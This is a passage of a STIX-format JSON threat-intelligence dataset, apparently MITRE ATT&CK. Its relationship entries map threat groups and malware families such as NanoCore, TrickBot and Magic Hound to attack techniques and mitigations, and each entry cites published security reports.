            "type": "relationship",
            "modified": "2020-03-19T19:54:26.619Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--35b912d8-bf46-4dec-b2eb-c48c0056af6e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has communicated with its C2 server over ports 4443 and 3543.(Citation: Unit 42 Magic Hound Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-09-09T19:21:42.335Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--309652a1-45a4-4479-9e84-dfab33d0a1f5",
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            "description": "[DDKONG](https://attack.mitre.org/software/S0255) decodes an embedded configuration using XOR.(Citation: Rancor Unit42 June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust NanoCore Jan 2017",
                    "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/",
                    "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."
                },
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) has the capability to edit the Registry.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)",
            "id": "relationship--a21afd42-09ae-4e6b-a065-dc1b4454216d",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-04-17T20:47:23.895Z",
            "created": "2019-01-29T20:05:36.507Z"
        },
        {
            "id": "relationship--70e7b609-b57d-4c71-931e-b8a658b0ba0d",
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            ],
            "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets",
                    "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.",
                    "source_name": "Symantec Thrip June 2018"
                }
            ],
            "description": "(Citation: Symantec Thrip June 2018)",
            "type": "relationship",
            "modified": "2019-03-25T17:06:37.193Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--66819f02-7a22-4f21-8e4f-df24969e5567",
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            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list running processes.(Citation: ESET Sednit Part 2)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.483Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--1f0832ca-30f2-4f5a-8e92-1d15222fc087",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "(Citation: FireEye APT38 Oct 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.560Z",
            "created": "2019-01-29T21:27:25.335Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Cobian Aug 2017",
                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
                    "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."
                }
            ],
            "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) uses DNS for C2.(Citation: Zscaler Cobian Aug 2017)",
            "id": "relationship--94c08652-89f8-406d-b0c0-aeb35da36d99",
            "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "relationship",
            "modified": "2020-03-17T00:42:48.507Z",
            "created": "2019-01-29T21:40:37.710Z"
        },
        {
            "id": "relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) exfiltrates collected files via removable media from air-gapped victims.(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.143Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ea964313-8f60-4cff-800c-2ea49e2c19d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Many [Misdat](https://attack.mitre.org/software/S0083) samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-03-18T14:51:57.957Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Accenture Dragonfish Jan 2018",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."
                }
            ],
            "description": "[Elise](https://attack.mitre.org/software/S0081) can download additional files from the C2 server for execution.(Citation: Accenture Dragonfish Jan 2018)",
            "id": "relationship--138c4559-eae3-49a2-baea-b9549aef881c",
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.852Z",
            "created": "2019-01-29T21:57:39.539Z"
        },
        {
            "id": "relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has a command to list its directory and logical drives.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-01-09T17:15:14.820Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--55da48f1-79ee-44b7-af90-175622c411a8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) copied and installed tools for operations once in the victim environment.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.572Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) gathers the time zone information from the victim\u2019s machine.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--8b6dbaf7-d578-4bc6-8f16-07e7c1aeedc8",
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.937Z",
            "created": "2019-01-30T13:42:09.659Z"
        },
        {
            "id": "relationship--0aac9510-f48a-4b28-ae0e-c6facc1635ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "type": "relationship",
            "modified": "2020-07-14T19:45:59.762Z",
            "created": "2017-05-31T21:33:27.027Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/",
                    "source_name": "Trend Micro Trickbot Nov 2018"
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can modify registry entries.(Citation: Trend Micro Trickbot Nov 2018)",
            "id": "relationship--c75ec383-2acd-479f-b9b7-b2038ec10a7d",
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.624Z",
            "created": "2019-01-30T14:11:44.111Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "source_name": "ESET TeleBots Oct 2018"
                }
            ],
            "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) has a command to execute VBS scripts on the victim\u2019s machine.(Citation: ESET TeleBots Oct 2018)",
            "id": "relationship--3456ec22-b2ac-470d-8a01-f5d5797a3521",
            "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-03-17T18:53:32.977Z",
            "created": "2019-01-30T15:10:04.206Z"
        },
        {
            "id": "relationship--96e928af-dbfc-4743-a1dc-353904e21fd3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Prikormka](https://attack.mitre.org/software/S0113) contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.335Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used command-line interfaces for execution.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Unit42 Emissary Panda May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                },
                {
                    "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/",
                    "source_name": "Unit42 Emissary Panda May 2019"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T21:57:42.276Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5408c62f-55e0-4480-8449-ec3c191b66b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) modifies the tty_tickets line in the sudoers file.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
            "type": "relationship",
            "modified": "2019-06-24T19:03:52.632Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) establishes persistence by creating a shortcut in the Start Menu folder.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T16:55:40.062Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) can open a reverse shell on the system to execute commands.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--55c7a861-5b9d-43f6-9430-914a35f9af77",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T16:06:56.276Z",
            "created": "2019-01-30T15:47:41.413Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--831143c2-3477-49e4-8806-c1e07be0fa79",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "external_references": [
                {
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "source_name": "Unit 42 Tropic Trooper Nov 2016"
                }
            ],
            "description": "(Citation: Unit 42 Tropic Trooper Nov 2016)",
            "type": "relationship",
            "modified": "2019-06-30T22:44:28.369Z",
            "created": "2019-01-29T20:17:49.379Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) searches for files with specific file extensions.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--5b83337c-5030-402d-ad28-1b9f5cf782cc",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-23T21:17:49.847Z",
            "created": "2019-01-29T21:33:34.620Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can communicate over multiple C2 host and port combinations.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--d3e0b0b8-797f-4638-bcb6-aa688c3a0a9a",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.597Z",
            "created": "2019-01-30T16:39:54.317Z"
        },
        {
            "id": "relationship--97a083ff-40ef-4e4c-9837-4ab1537a063c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates all running services.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                },
                {
                    "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging",
                    "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.",
                    "source_name": "Kaspersky Lab SynAck May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.079Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
            ],
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use VBScript (VBE) code for execution.(Citation: ClearSky MuddyWater Nov 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)",
            "id": "relationship--c5d09de5-7a1e-45b5-a7ac-1637e8fe8eff",
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-05-18T19:37:52.438Z",
            "created": "2019-01-30T17:13:11.872Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Micropsia June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html",
                    "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."
                },
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) obfuscates the configuration with a custom Base64 and XOR.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)",
            "id": "relationship--a2c59195-f81a-4ed1-8d64-7137f961a835",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.862Z",
            "created": "2019-01-29T21:47:53.738Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                },
                {
                    "source_name": "Microsoft DUBNIUM July 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/",
